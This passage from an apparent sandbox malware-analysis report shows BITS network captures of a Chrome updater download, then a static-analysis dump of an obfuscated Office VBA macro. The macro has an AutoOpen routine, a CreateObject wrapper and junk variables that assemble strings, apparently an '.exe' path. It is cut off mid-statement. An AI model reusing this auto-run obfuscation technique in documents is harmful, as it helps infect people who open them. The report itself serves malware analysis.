  2809. "path": "/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.83.40.106&mm=28&mn=sn-a5msen7l&ms=nvh&mt=1560800981&mv=m&pl=24&shardbypass=yes",
  2810. "data": "GET /edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.83.40.106&mm=28&mn=sn-a5msen7l&ms=nvh&mt=1560800981&mv=m&pl=24&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 21 May 2019 04:56:27 GMT\r\nRange: bytes=394141-673840\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r5---sn-a5msen7l.gvt1.com\r\n\r\n",
  2811. "port": 80
  2812. },
  2813. {
  2814. "count": 1,
  2815. "body": "",
  2816. "uri": "http://r5---sn-a5msen7l.gvt1.com/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.83.40.106&mm=28&mn=sn-a5msen7l&ms=nvh&mt=1560800981&mv=m&pl=24&shardbypass=yes",
  2817. "user-agent": "Microsoft BITS/7.5",
  2818. "method": "GET",
  2819. "host": "r5---sn-a5msen7l.gvt1.com",
  2820. "version": "1.1",
  2821. "path": "/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.83.40.106&mm=28&mn=sn-a5msen7l&ms=nvh&mt=1560800981&mv=m&pl=24&shardbypass=yes",
  2822. "data": "GET /edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.83.40.106&mm=28&mn=sn-a5msen7l&ms=nvh&mt=1560800981&mv=m&pl=24&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 21 May 2019 04:56:27 GMT\r\nRange: bytes=673841-1186228\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r5---sn-a5msen7l.gvt1.com\r\n\r\n",
  2823. "port": 80
  2824. },
  2825. {
  2826. "count": 1,
  2827. "body": "",
  2828. "uri": "http://r5---sn-a5msen7l.gvt1.com/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.83.40.106&mm=28&mn=sn-a5msen7l&ms=nvh&mt=1560800981&mv=m&pl=24&shardbypass=yes",
  2829. "user-agent": "Microsoft BITS/7.5",
  2830. "method": "GET",
  2831. "host": "r5---sn-a5msen7l.gvt1.com",
  2832. "version": "1.1",
  2833. "path": "/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.83.40.106&mm=28&mn=sn-a5msen7l&ms=nvh&mt=1560800981&mv=m&pl=24&shardbypass=yes",
  2834. "data": "GET /edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.83.40.106&mm=28&mn=sn-a5msen7l&ms=nvh&mt=1560800981&mv=m&pl=24&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 21 May 2019 04:56:27 GMT\r\nRange: bytes=1186229-2212100\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r5---sn-a5msen7l.gvt1.com\r\n\r\n",
  2835. "port": 80
  2836. },
  2837. {
  2838. "count": 1,
  2839. "body": "",
  2840. "uri": "http://r5---sn-a5msen7l.gvt1.com/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.83.40.106&mm=28&mn=sn-a5msen7l&ms=nvh&mt=1560800981&mv=m&pl=24&shardbypass=yes",
  2841. "user-agent": "Microsoft BITS/7.5",
  2842. "method": "GET",
  2843. "host": "r5---sn-a5msen7l.gvt1.com",
  2844. "version": "1.1",
  2845. "path": "/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.83.40.106&mm=28&mn=sn-a5msen7l&ms=nvh&mt=1560800981&mv=m&pl=24&shardbypass=yes",
  2846. "data": "GET /edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.83.40.106&mm=28&mn=sn-a5msen7l&ms=nvh&mt=1560800981&mv=m&pl=24&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 21 May 2019 04:56:27 GMT\r\nRange: bytes=2212101-3716880\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r5---sn-a5msen7l.gvt1.com\r\n\r\n",
  2847. "port": 80
  2848. },
  2849. {
  2850. "count": 1,
  2851. "body": "",
  2852. "uri": "http://r5---sn-a5msen7l.gvt1.com/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.83.40.106&mm=28&mn=sn-a5msen7l&ms=nvh&mt=1560800981&mv=m&pl=24&shardbypass=yes",
  2853. "user-agent": "Microsoft BITS/7.5",
  2854. "method": "GET",
  2855. "host": "r5---sn-a5msen7l.gvt1.com",
  2856. "version": "1.1",
  2857. "path": "/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.83.40.106&mm=28&mn=sn-a5msen7l&ms=nvh&mt=1560800981&mv=m&pl=24&shardbypass=yes",
  2858. "data": "GET /edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.83.40.106&mm=28&mn=sn-a5msen7l&ms=nvh&mt=1560800981&mv=m&pl=24&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 21 May 2019 04:56:27 GMT\r\nRange: bytes=3716881-5279437\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r5---sn-a5msen7l.gvt1.com\r\n\r\n",
  2859. "port": 80
  2860. },
  2861. {
  2862. "count": 1,
  2863. "body": "",
  2864. "uri": "http://r5---sn-a5msen7l.gvt1.com/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.83.40.106&mm=28&mn=sn-a5msen7l&ms=nvh&mt=1560800981&mv=m&pl=24&shardbypass=yes",
  2865. "user-agent": "Microsoft BITS/7.5",
  2866. "method": "GET",
  2867. "host": "r5---sn-a5msen7l.gvt1.com",
  2868. "version": "1.1",
  2869. "path": "/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.83.40.106&mm=28&mn=sn-a5msen7l&ms=nvh&mt=1560800981&mv=m&pl=24&shardbypass=yes",
  2870. "data": "GET /edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.83.40.106&mm=28&mn=sn-a5msen7l&ms=nvh&mt=1560800981&mv=m&pl=24&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 21 May 2019 04:56:27 GMT\r\nRange: bytes=5279438-6717754\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r5---sn-a5msen7l.gvt1.com\r\n\r\n",
  2871. "port": 80
  2872. },
  2873. {
  2874. "count": 1,
  2875. "body": "",
  2876. "uri": "http://r5---sn-a5msen7l.gvt1.com/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.83.40.106&mm=28&mn=sn-a5msen7l&ms=nvh&mt=1560800981&mv=m&pl=24&shardbypass=yes",
  2877. "user-agent": "Microsoft BITS/7.5",
  2878. "method": "GET",
  2879. "host": "r5---sn-a5msen7l.gvt1.com",
  2880. "version": "1.1",
  2881. "path": "/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.83.40.106&mm=28&mn=sn-a5msen7l&ms=nvh&mt=1560800981&mv=m&pl=24&shardbypass=yes",
  2882. "data": "GET /edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.83.40.106&mm=28&mn=sn-a5msen7l&ms=nvh&mt=1560800981&mv=m&pl=24&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 21 May 2019 04:56:27 GMT\r\nRange: bytes=6717755-7945123\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r5---sn-a5msen7l.gvt1.com\r\n\r\n",
  2883. "port": 80
  2884. },
  2885. {
  2886. "count": 1,
  2887. "body": "",
  2888. "uri": "http://r5---sn-a5msen7l.gvt1.com/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.83.40.106&mm=28&mn=sn-a5msen7l&ms=nvh&mt=1560800981&mv=m&pl=24&shardbypass=yes",
  2889. "user-agent": "Microsoft BITS/7.5",
  2890. "method": "GET",
  2891. "host": "r5---sn-a5msen7l.gvt1.com",
  2892. "version": "1.1",
  2893. "path": "/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.83.40.106&mm=28&mn=sn-a5msen7l&ms=nvh&mt=1560800981&mv=m&pl=24&shardbypass=yes",
  2894. "data": "GET /edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.83.40.106&mm=28&mn=sn-a5msen7l&ms=nvh&mt=1560800981&mv=m&pl=24&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 21 May 2019 04:56:27 GMT\r\nRange: bytes=7945124-10149292\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r5---sn-a5msen7l.gvt1.com\r\n\r\n",
  2895. "port": 80
  2896. },
  2897. {
  2898. "count": 1,
  2899. "body": "",
  2900. "uri": "http://r5---sn-a5msen7l.gvt1.com/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.83.40.106&mm=28&mn=sn-a5msen7l&ms=nvh&mt=1560800981&mv=m&pl=24&shardbypass=yes",
  2901. "user-agent": "Microsoft BITS/7.5",
  2902. "method": "GET",
  2903. "host": "r5---sn-a5msen7l.gvt1.com",
  2904. "version": "1.1",
  2905. "path": "/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.83.40.106&mm=28&mn=sn-a5msen7l&ms=nvh&mt=1560800981&mv=m&pl=24&shardbypass=yes",
  2906. "data": "GET /edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.83.40.106&mm=28&mn=sn-a5msen7l&ms=nvh&mt=1560800981&mv=m&pl=24&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 21 May 2019 04:56:27 GMT\r\nRange: bytes=10149293-12296959\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r5---sn-a5msen7l.gvt1.com\r\n\r\n",
  2907. "port": 80
  2908. }
  2909. ]
  2910.  
  2911. [*] Network Communication - SMTP: []
  2912.  
  2913. [*] Network Communication - Hosts: []
  2914.  
  2915. [*] Network Communication - IRC: []
  2916.  
  2917. [*] Static Analysis: {
  2918. "office": {
  2919. "Macro": {
  2920. "Code": {
  2921. "Macro2": [
  2922. [
  2923. "zjRynF.bas",
  2924. " Public Declare PtrSafe Sub Sleep Lib \"kernel32\" (ByVal Milliseconds As LongPtr)\n \n #If Win64 Then\n Public Declare PtrSafe Function GetCursorPos Lib \"user32\" (lpPoint As mAMxXtH) As LongLong\n #Else\n Public Declare Function GetCursorPos Lib \"user32\" (lpPoint As mAMxXtH) As Long\n #End If\n\nType mAMxXtH\n jdFtJhQ As Long\n grAXAve As Long\nEnd Type\n\n\nPublic Function jUYirTK(nVupnbT As String) As Object\nSet jUYirTK = Nothing\nDim ihuemsE As String\nDim mjrNSIm As Integer\nmjrNSIm = 120\nihuemsE = \"quit\"\nIf mjrNSIm Mod 10 = 0 Then\nihuemsE = nVupnbT\nSet jUYirTK = CreateObject(ihuemsE)\nEnd If\nEnd Function\n\nSub AutoOpen()\naddressolympuspolandproblemsministerclean = 782 Xor 425\nminimumbelizelabelsxpinvitationestoniaadvertisercompetitionropecovering = Space(77)\nratiodrewbufferdocumentedmooddonationslettingvaccinebanned = \"\"\nratiodrewbufferdocumentedmooddonationslettingvaccinebanned = ratiodrewbufferdocumentedmooddonationslettingvaccinebanned + Mid(\"picksinsertionatashapedhipaquaticbroadlaptop\\busairfarekwreactionsgratefulcoverexplain\", 45, 4)\ndvdsphenomenonfioricetdevotedwavcontributingadministratorsnursebiodiversityrice = LTrim(\"shorehughgravitycpampland\")\nDim princehandjobsmetadataduicartoonsexpiresheavywakemetallica As Object\nratiodrewbufferdocumentedmooddonationslettingvaccinebanned = ratiodrewbufferdocumentedmooddonationslettingvaccinebanned + StrReverse(\"eni\")\npersonalizedsuspendedbulletinstrongerpissvanillauvdollupdate = RTrim(\"trulyclassstopsfelt\")\nFor representingchristineintegerhighlightsfieldspopulation = 6059 To 8633\nDim luxembourgsubscribeverseflashingpediatric As String\nDim wykittyciaotrackusagecan As String\nNext representingchristineintegerhighlightsfieldspopulation\nratiodrewbufferdocumentedmooddonationslettingvaccinebanned = ratiodrewbufferdocumentedmooddonationslettingvaccinebanned + Mid(\"combatcatdubaiwhengorgeoushillautomaticallylegalclarkenarrowssaldiametercorrespondencesystemtribeshelicopter\", 61, 4)\nfdrelateintensiverentbesidechargercarrierallocationcomicstrim = RTrim(\"pairphenterminevictoryharrisonqueenawfulcombiningcrisisspeeches\")\nexperimenttellsshipmentproposalsgallerieswarriorbare = 925 Xor 401\nratiodrewbufferdocumentedmooddonationslettingvaccinebanned = ratiodrewbufferdocumentedmooddonationslettingvaccinebanned + StrReverse(\"nawol\")\nDim prominentinjectionbelievedboliviareducingreallythomasmonkeygivessubmitted As String\nfavorspassingeconomicrecommenddatedcanadian = StrReverse(\"youthwhiteswimmingrelativelywebcastspecifiedencodingrows\")\nratiodrewbufferdocumentedmooddonationslettingvaccinebanned = ratiodrewbufferdocumentedmooddonationslettingvaccinebanned + StrReverse(\"cayec\")\nDim tasksoperatorstheoriessrcnestedmanchesterexperiencesharpdaddy As Boolean\nDim gridpressdomainsseatthumbnail As String\nratiodrewbufferdocumentedmooddonationslettingvaccinebanned = ratiodrewbufferdocumentedmooddonationslettingvaccinebanned + Mid(\"assistantincominggreatestrankbedroomgpsheralddielegsstockholmhtmanfirmcovemountspositionintimateincludedbangkokbi\", 62, 5)\ndemandpiratesaxislookingholdemfancyxlpostsyntheticcharacterization = Not (35 > 466)\nDim designedansweringwildlifewellsabsolutelyqualitiespurchased() As Byte\nratiodrewbufferdocumentedmooddonationslettingvaccinebanned = ratiodrewbufferdocumentedmooddonationslettingvaccinebanned + StrReverse(\"ren\")\nmountainsplusreferralsdirectiveworkshopneedsgcsharestrainedensuring = LTrim(\"reductionzeroparticipantpoemenhancing\")\nDim holidayivorydifficultyrewardtestswardhomecalculatedancientcontrollers As Integer\nratiodrewbufferdocumentedmooddonationslettingvaccinebanned = ratiodrewbufferdocumentedmooddonationslettingvaccinebanned + StrReverse(\"mtoh\")\nDim outletgottensyssillyparticularlyissnbettydefencey As String\nDim jimmyauthenticationhuntingtoncompleteuniquecrazychesterbritannicahandheld As Object\nratiodrewbufferdocumentedmooddonationslettingvaccinebanned = ratiodrewbufferdocumentedmooddonationslettingvaccinebanned + StrReverse(\"lklia\")\nDim shapeturbosinkolspecifysoftballfevermas As Boolean\nDim thingsbeefmattresslatvia As Object\nratiodrewbufferdocumentedmooddonationslettingvaccinebanned = ratiodrewbufferdocumentedmooddonationslettingvaccinebanned + StrReverse(\"nie\")\nDim coursesclearingfreightcolebondageemilypostexceedlodgeleather As Object\n'leaddkusualbroadcastinghundredgasoline\nratiodrewbufferdocumentedmooddonationslettingvaccinebanned = ratiodrewbufferdocumentedmooddonationslettingvaccinebanned + StrReverse(\"exe.\")\nDim earlyharmonyhamburgastrologyeliminationbibliographictalkscomppeevirgin As String\nsupposealdefensivegrantsmotherboardusdmilkarnold = Chr(60)\npoundfieldcontinuouslytravesticomparingboatinglimitationsdelayednewman = \"\"\npoundfieldcontinuouslytravesticomparingboatinglimitationsdelayednewman = poundfieldcontinuouslytravesticomparingboatinglimitationsdelayednewman + StrReverse(\"pmt\")\nDim livesavannahajemergingrevelationrefused As Object\ncurriculumbreastsheadphonesequalassists = Chr(168)\ncandleagreementsfurjerusalemmightlithuaniaxboxkinds = \"\"\ncandleagreementsfurjerusalemmightlithuaniaxboxkinds = candleagreementsfurjerusalemmightlithuaniaxboxkinds + StrReverse(\"sissa\")\nagenciessharonkauthoritiesfrontpageart = LTrim(\"nestsurvivorsibmimpactmotivatedcommitteesetwarningtin\")\nDim offsetcornellveteranworkoutcomplex As Object\ncandleagreementsfurjerusalemmightlithuaniaxboxkinds = candleagreementsfurjerusalemmightlithuaniaxboxkinds + StrReverse(\"ecnat\")\nDim fountainbucksverseencryptionpowderballaccuraterickupcoming As Integer\nbuildingtotalmaltamortgagestomatoessigneddevelopmentspublicationforeverresponsibility = Chr(35)\ncandleagreementsfurjerusalemmightlithuaniaxboxkinds = candleagreementsfurjerusalemmightlithuaniaxboxkinds + Mid(\"maritimevacbssheeppersquantumapplicantendedtypicallyhaloricobodiespartially\", 19, 4)\ninfectiousbeofferingstransexualesforty = Not (952 < 262)\nDim developersoutletsgenevacommunitiesemotional As Boolean\ncandleagreementsfurjerusalemmightlithuaniaxboxkinds = candleagreementsfurjerusalemmightlithuaniaxboxkinds + Mid(\"conflictgraduatesconfigprovidestyleonalisonsydneyksprofessiontampamotornorwegianlogisticsgtk\", 36, 5)\nnuttenbangactivelyasylumabu = 7185\nDim hayescomputationoracleworld As Boolean\ncandleagreementsfurjerusalemmightlithuaniaxboxkinds = candleagreementsfurjerusalemmightlithuaniaxboxkinds + StrReverse(\"adez\")\nDim japerlfinkeencrossearliestmillionsquizzes As Variant\nmatchedfraudgovernanceavailability = Not (436 > 815)\ncandleagreementsfurjerusalemmightlithuaniaxboxkinds = candleagreementsfurjerusalemmightlithuaniaxboxkinds + StrReverse(\"fsb\")\nDim sunrisecontainersillegaldeltabrianapparentlypleasureenglandlimitations As Boolean\npackagingeveningfishingcolors = 757 Mod 284\ncandleagreementsfurjerusalemmightlithuaniaxboxkinds = candleagreementsfurjerusalemmightlithuaniaxboxkinds + StrReverse(\"tna\")\nclimbdiffmixedattentiondel = Not (825 < 111)\nbrakesboothprintingtittenfairylakescruciallearnedeffectworry = RTrim(\"apollocharterhdchristianitygatemillionslegallyeternalsimilarly\")\ncandleagreementsfurjerusalemmightlithuaniaxboxkinds = candleagreementsfurjerusalemmightlithuaniaxboxkinds + StrReverse(\"citsa\")\nplainjoiningarlingtonproductspalmerlaterchroniclesict = StrReverse(\"fencecourtthanseparationworthyparagraphs\")\nbusyclientholidayoscarfolksirandifficult = Chr(146)\ncandleagreementsfurjerusalemmightlithuaniaxboxkinds = candleagreementsfurjerusalemmightlithuaniaxboxkinds + Mid(\"virusescornwallcreatereceivingfeaturedsuggestsmonstermatrixassistantagedlcdwhrespondentssustainabilityhayadministrationheadquartersmarketingfabulousdrinkstolerancedan\", 73, 5)\nembassycandlesbiggerwoodhabits = 4684\nDim voyeurtaxationcontrolxanaxexecutebabeimprovingextendinghtsending As Boolean\ncandleagreementsfurjerusalemmightlithuaniaxboxkinds = candleagreementsfurjerusalemmightlithuaniaxboxkinds + StrReverse(\"o\")\nDim aspectprotesttranscriptionpendanttherestuckthreats As Object\noptioneagleridersknock = StrReverse(\"vintagealsococksguildbehindscannerbuilderareasellerscalculation\")\ntrapcottagesseniorleadershipvisitinginvention = \"\"\ntrapcottagesseniorleadershipvisitinginvention = trapcottagesseniorleadershipvisitinginvention + Mid(\"adjustablehamptonessexpersonalbedbiologymarveltomatomilerespectedresultedcruzfujitsutracytobagofreshshapepatricia\", 53, 4)\nDim collapsegasolinemarinaproducts As String\nshowtimesthemselvesentrepreneurpropertiescontributionsdiscipline = 759 Xor 391\ntrapcottagesseniorleadershipvisitinginvention = trapcottagesseniorleadershipvisitinginvention + StrReverse(\"eega\")\nrevisedradarwendyalertmetalchelseacandle = 664 Xor 592\ninformativeapprovedorganmagneticbirthdaytomato = 368 Xor 798\ntrapcottagesseniorleadershipvisitinginvention = trapcottagesseniorleadershipvisitinginvention + StrReverse(\"rkoob\")\ngordonwarrantnumbersupslibertychoicethrownstill = 5397\ncitizenpoliticiansdinnerfundamentalquantitysoajerusalemdifferent = 57 Mod 352\ntrapcottagesseniorleadershipvisitinginvention = trapcottagesseniorleadershipvisitinginvention + Mid(\"openingfuturecausebowlkentuckyintegratingflushreadingdespiteespsecuritycircumstancesinclusivemanagedbaybiologicalskilledsacramentobdsm\", 61, 3)\nDim rcozoneacneexecutive As Variant\nyieldsgonnaamericaromanceofflineourvegetarianemployeestied = Space(91)\ntrapcottagesseniorleadershipvisitinginvention = trapcottagesseniorleadershipvisitinginvention + StrReverse(\"dno\")\nDim directrdbehindorangestarterprotectionautoorientationvisibilityaspect As Variant\nespeciallycardiovascularexplicitlynodeseospaso = Array(\"sansunifieddxwheretacklesm\", \"volvovaliumyesterminationbasisqueenssolarisbottles\", \"cohenapniccapitalbinary\", \"nearestvoicesappropriationscompetitionsomaliaram\", \"slaveupgradebroadbandcontrary\", \"gordoncompilerflashclosesttelecomfirewireforwardlenders\", \"bytequotationsworldsexstoryeconomicslastingcubicstrikes\", \"explainedstillpayingcomparearthurlessonscbprovinceyarnmarvel\")\ntrapcottagesseniorleadershipvisitinginvention = trapcottagesseniorleadershipvisitinginvention + Mid(\"pornopassengerschristopherpayablecrucialdiningstepsplayboyupdatesconteplacingdumpunderstoodpills\", 66, 5)\nDim videospromotingdeterminesreflectgeological As Object\nheadsdealtimejohnsnotenamesintendedmillermunicipality = Array(\"pullingequationminimumkeep\", \"bloombrooklyndiesspyeligibilityeossocksresidencemenubright\", \"torturepickedliftspecialtyprovidinghoping\", \"neilmothersfeedsrouge\", \"invisiblediameteroutstandingsessionsassign\", \"tripshonorattemptingexcessiveliberty\", \"birminghamindicationbannerclaimscoreshighwaypremium\", \"myspaceencourageskaraokefixedperformedcosmetics\", \"closerememberedcheatshis\", \"roommatereselleragreesnavyalthoughjacobbalancemotelstemperaturelaptop\", \"expenseperceptionmathematicalreceive\")\ntrapcottagesseniorleadershipvisitinginvention = trapcottagesseniorleadershipvisitinginvention + Mid(\"eastscoutfridgeopensrepairsntswarriorstrendsexpireditaliacroatiaproblemssafety\", 28, 3)\nfunctionraisingintegraljuniororganizedbarmagnitude = StrReverse(\"affairscongratulationsdrillingflavoroperate\")\nconnectedrollingnestquizsamba = RTrim(\"analystshiltonsimsoperationalrecognizedmovements\")\ntrapcottagesseniorleadershipvisitinginvention = trapcottagesseniorleadershipvisitinginvention + Mid(\"sinceintegrationlowestwenthorizontalshipmentswagessolisupportingcarnivalweakgraphics\", 51, 4)\nfestivalsdiscusscommercialbaselinesendinglaundryinstrumentszero = StrReverse(\"suggesthopebocollectivesuperbplymouthenvironmentsmemorabiliastudinvitations\")\n'executivesratingsfinitepreventsecureeconomiesacquiredrecalloracle\ntrapcottagesseniorleadershipvisitinginvention = trapcottagesseniorleadershipvisitinginvention + Mid(\"thesettlementinviteretrievehangingddontcookiesexcessloportionsenteringindeedtrailersugarcollectiveunsubscribe\", 35, 5)\nDim confidentspecificationcorporatepointertystocks As Variant\nrespectedwatchinternshiptailvoyeurconstraintsirdocumenthurricane = LTrim(\"warehousespaceblowjobsbryantcookiepaymenttoolkitftp\")\ntrapcottagesseniorleadershipvisitinginvention = trapcottagesseniorleadershipvisitinginvention + Mid(\"worldopenwrappingsurleufeaturedweddingsconsidershansenouriforcedcomplaintsvoyuertreatedmar\", 55, 4)\ndisciplinaryciscoscholarshipalbertawalkingbeatstechnologicaldisasin = Space(98)\npartitionabsentprivacyconferencesbirthgroundsroseohio = RTrim(\"versionsremarkablepeakagendacoolrelativesontariodonna\")\ntrapcottagesseniorleadershipvisitinginvention = trapcottagesseniorleadershipvisitinginvention + Mid(\"gravitytrayprogramproposalbuilderspreparengstagewidthafterwardsphotocmsmongoliaminipromotepensionsur\", 42, 2)\n'developersstanfordintensiverapidcentscaribbean\nDim cookbookcomplicatedfinalsorgasmhiltoncalpiecesbbs As String\nvolumesbarelyintervallimitingholmestherapistcataloguereliabledirectionsquality = \"\"\nvolumesbarelyintervallimitingholmestherapistcataloguereliabledirectionsquality = volumesbarelyintervallimitingholmestherapistcataloguereliabledirectionsquality + StrReverse(\"agro\")\nfailuresobservedbradisclosurefuelreasonably = 3258\n'zimbabwereboundtermsinfectedspiritssupplyafghanistanhans\nvolumesbarelyintervallimitingholmestherapistcataloguereliabledirectionsquality = volumesbarelyintervallimitingholmestherapistcataloguereliabledirectionsquality + StrReverse(\"esin\")\ntimerltinformalwidthtigertnpredicted = 77 Mod 86\nDim parapostersmasshorseandrea() As Byte\nvolumesbarelyintervallimitingholmestherapistcataloguereliabledirectionsquality = volumesbarelyintervallimitingholmestherapistcataloguereliabledirectionsquality + StrReverse(\"ngisd\")\nregionalpanpnvariedjudgepoliceearningsverify = Not (877 > 906)\nDim lbserbiacontactsrelationsoverheadottawahillspctentchairman As Boolean\nvolumesbarelyintervallimitingholmestherapistcataloguereliabledirectionsquality = volumesbarelyintervallimitingholmestherapistcataloguereliabledirectionsquality + StrReverse(\"ahsde\")\nDim housewivesequippednokiaclrandomboobmarkers() As Byte\nsaudileagleautomaticallyfanscreatingfoto = RTrim(\"cataloguebacteriaaroundcouldsmarttransmissionnurserydrillassumption\")\nvolumesbarelyintervallimitingholmestherapistcataloguereliabledirectionsquality = volumesbarelyintervallimitingholmestherapistcataloguereliabledirectionsquality + Mid(\"covernorfolkexcesswitdenvocalsmentioneddividedtoedecemberfruitanytimevirgin\", 22, 3)\nDim ircinsightminingobviously As Integer\nmonitorterminalsegmentsscaledvcooperspecialtiesconclusionfuji = 9553\nvolumesbarelyintervallimitingholmestherapistcataloguereliabledirectionsquality = volumesbarelyintervallimitingholmestherapistcataloguereliabledirectionsquality + StrReverse(\"encb\")\n'sortbiasspiderovennancycommunitynotesarecumshotstrivia\npublicationsurveylaytransitionalexanderbrookdynamicsdeals = StrReverse(\"stoppedconstrainteveaudiodpiegyptae\")\nvolumesbarelyintervallimitingholmestherapistcataloguereliabledirectionsquality = volumesbarelyintervallimitingholmestherapistcataloguereliabledirectionsquality + 